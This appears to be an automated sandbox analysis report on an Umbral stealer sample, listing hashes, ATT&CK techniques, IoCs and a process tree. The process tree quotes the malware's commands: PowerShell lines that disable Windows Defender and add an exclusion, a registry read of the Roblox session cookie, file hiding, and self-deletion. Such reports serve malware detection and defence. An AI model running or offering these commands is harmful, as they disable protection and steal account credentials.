umbral | 750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029

Analysis

max time kernel
16s
max time network
17s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
06-08-2024 02:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe
Size

231KB
MD5

e5fe1871688f8786189ec49cc8124520
SHA1

e2de4a187d3cc99969e888819f6cf2bf5c78e90d
SHA256

750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029
SHA512

095f4398d1af600565bf8e29fc8bf0acbbff1a3729a3b4f531f597342afeed375f248ab5c4b3e589e41fb5305702fbc07b42df9b3320502c9abe3ba4d8a7f30c
SSDEEP

6144:xloZM+rIkd8g+EtXHkv/iD43upiLxCqVsQhTuOLPtb8e1m3Ai:DoZtL+EP83upiLxCqVsQhTuOL1mZ

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1364-1-0x0000000000020000-0x0000000000060000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2916	powershell.exe
784	powershell.exe
2868	powershell.exe
2876	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe

Deletes itself 1 IoCs

pid	Process
1956	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
7	discord.com
8	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1956	cmd.exe
2228	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1616	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2228	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe
2876	powershell.exe
2868	powershell.exe
2916	powershell.exe
924	powershell.exe
784	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe
Token: SeIncreaseQuotaPrivilege	2840	wmic.exe
Token: SeSecurityPrivilege	2840	wmic.exe
Token: SeTakeOwnershipPrivilege	2840	wmic.exe
Token: SeLoadDriverPrivilege	2840	wmic.exe
Token: SeSystemProfilePrivilege	2840	wmic.exe
Token: SeSystemtimePrivilege	2840	wmic.exe
Token: SeProfSingleProcessPrivilege	2840	wmic.exe
Token: SeIncBasePriorityPrivilege	2840	wmic.exe
Token: SeCreatePagefilePrivilege	2840	wmic.exe
Token: SeBackupPrivilege	2840	wmic.exe
Token: SeRestorePrivilege	2840	wmic.exe
Token: SeShutdownPrivilege	2840	wmic.exe
Token: SeDebugPrivilege	2840	wmic.exe
Token: SeSystemEnvironmentPrivilege	2840	wmic.exe
Token: SeRemoteShutdownPrivilege	2840	wmic.exe
Token: SeUndockPrivilege	2840	wmic.exe
Token: SeManageVolumePrivilege	2840	wmic.exe
Token: 33	2840	wmic.exe
Token: 34	2840	wmic.exe
Token: 35	2840	wmic.exe
Token: SeIncreaseQuotaPrivilege	2840	wmic.exe
Token: SeSecurityPrivilege	2840	wmic.exe
Token: SeTakeOwnershipPrivilege	2840	wmic.exe
Token: SeLoadDriverPrivilege	2840	wmic.exe
Token: SeSystemProfilePrivilege	2840	wmic.exe
Token: SeSystemtimePrivilege	2840	wmic.exe
Token: SeProfSingleProcessPrivilege	2840	wmic.exe
Token: SeIncBasePriorityPrivilege	2840	wmic.exe
Token: SeCreatePagefilePrivilege	2840	wmic.exe
Token: SeBackupPrivilege	2840	wmic.exe
Token: SeRestorePrivilege	2840	wmic.exe
Token: SeShutdownPrivilege	2840	wmic.exe
Token: SeDebugPrivilege	2840	wmic.exe
Token: SeSystemEnvironmentPrivilege	2840	wmic.exe
Token: SeRemoteShutdownPrivilege	2840	wmic.exe
Token: SeUndockPrivilege	2840	wmic.exe
Token: SeManageVolumePrivilege	2840	wmic.exe
Token: 33	2840	wmic.exe
Token: 34	2840	wmic.exe
Token: 35	2840	wmic.exe
Token: SeDebugPrivilege	2876	powershell.exe
Token: SeDebugPrivilege	2868	powershell.exe
Token: SeDebugPrivilege	2916	powershell.exe
Token: SeDebugPrivilege	924	powershell.exe
Token: SeIncreaseQuotaPrivilege	3036	wmic.exe
Token: SeSecurityPrivilege	3036	wmic.exe
Token: SeTakeOwnershipPrivilege	3036	wmic.exe
Token: SeLoadDriverPrivilege	3036	wmic.exe
Token: SeSystemProfilePrivilege	3036	wmic.exe
Token: SeSystemtimePrivilege	3036	wmic.exe
Token: SeProfSingleProcessPrivilege	3036	wmic.exe
Token: SeIncBasePriorityPrivilege	3036	wmic.exe
Token: SeCreatePagefilePrivilege	3036	wmic.exe
Token: SeBackupPrivilege	3036	wmic.exe
Token: SeRestorePrivilege	3036	wmic.exe
Token: SeShutdownPrivilege	3036	wmic.exe
Token: SeDebugPrivilege	3036	wmic.exe
Token: SeSystemEnvironmentPrivilege	3036	wmic.exe
Token: SeRemoteShutdownPrivilege	3036	wmic.exe
Token: SeUndockPrivilege	3036	wmic.exe
Token: SeManageVolumePrivilege	3036	wmic.exe
Token: 33	3036	wmic.exe
Token: 34	3036	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 1364 wrote to memory of 2840	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	30
PID 1364 wrote to memory of 2840	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	30
PID 1364 wrote to memory of 2840	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	30
PID 1364 wrote to memory of 2952	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	33
PID 1364 wrote to memory of 2952	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	33
PID 1364 wrote to memory of 2952	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	33
PID 1364 wrote to memory of 2876	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	35
PID 1364 wrote to memory of 2876	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	35
PID 1364 wrote to memory of 2876	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	35
PID 1364 wrote to memory of 2868	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	37
PID 1364 wrote to memory of 2868	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	37
PID 1364 wrote to memory of 2868	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	37
PID 1364 wrote to memory of 2916	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	39
PID 1364 wrote to memory of 2916	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	39
PID 1364 wrote to memory of 2916	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	39
PID 1364 wrote to memory of 924	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	41
PID 1364 wrote to memory of 924	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	41
PID 1364 wrote to memory of 924	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	41
PID 1364 wrote to memory of 3036	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	43
PID 1364 wrote to memory of 3036	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	43
PID 1364 wrote to memory of 3036	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	43
PID 1364 wrote to memory of 1868	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	45
PID 1364 wrote to memory of 1868	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	45
PID 1364 wrote to memory of 1868	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	45
PID 1364 wrote to memory of 1048	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	47
PID 1364 wrote to memory of 1048	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	47
PID 1364 wrote to memory of 1048	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	47
PID 1364 wrote to memory of 784	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	49
PID 1364 wrote to memory of 784	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	49
PID 1364 wrote to memory of 784	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	49
PID 1364 wrote to memory of 1616	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	51
PID 1364 wrote to memory of 1616	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	51
PID 1364 wrote to memory of 1616	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	51
PID 1364 wrote to memory of 1956	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	53
PID 1364 wrote to memory of 1956	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	53
PID 1364 wrote to memory of 1956	1364	750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe	53
PID 1956 wrote to memory of 2228	1956	cmd.exe	55
PID 1956 wrote to memory of 2228	1956	cmd.exe	55
PID 1956 wrote to memory of 2228	1956	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2952	attrib.exe

C:\Users\Admin\AppData\Local\Temp\750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe
"C:\Users\Admin\AppData\Local\Temp\750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1364
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2840
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe"
  2⤵
  - Views/modifies file attributes
  PID:2952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2876
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:924
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3036
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1868
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:784
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1616
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\750db35c728176edd361bee975326a5b1a270a835be7b272c68175f55d247029.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1956
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2228

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\T7T9PPK3EB5DO6ULF7DE.temp

Filesize
7KB

MD5
54bfc50265e48ce98efa41a2341aa0ac

SHA1
67e6e3b6d3a5e1c4fea6398882ded555864d84c8

SHA256
526233d99ea0b36f8f6f9d7fc0a3d8b822245865c857087ae5510fbc101ebdf4

SHA512
f18ad488b78fc818e1a7d18f18d53b3757d7dbb0ac0adde88066a8e61cc565a0599a24db07a257c865904e303e26d93453faabd909d6302dd649e477cceabce2

Download Submit
memory/784-43-0x000000001B6A0000-0x000000001B982000-memory.dmp

Filesize
2.9MB

Download
memory/784-44-0x00000000027E0000-0x00000000027E8000-memory.dmp

Filesize
32KB

Download
memory/1364-0-0x000007FEF5EA3000-0x000007FEF5EA4000-memory.dmp

Filesize
4KB

Download
memory/1364-1-0x0000000000020000-0x0000000000060000-memory.dmp

Filesize
256KB

Download
memory/1364-2-0x000007FEF5EA0000-0x000007FEF688C000-memory.dmp

Filesize
9.9MB

Download
memory/1364-48-0x000007FEF5EA0000-0x000007FEF688C000-memory.dmp

Filesize
9.9MB

Download
memory/2868-15-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download
memory/2868-14-0x000000001B7C0000-0x000000001BAA2000-memory.dmp

Filesize
2.9MB

Download
memory/2876-7-0x000000001B760000-0x000000001BA42000-memory.dmp

Filesize
2.9MB

Download
memory/2876-8-0x00000000027E0000-0x00000000027E8000-memory.dmp

Filesize
32KB

Download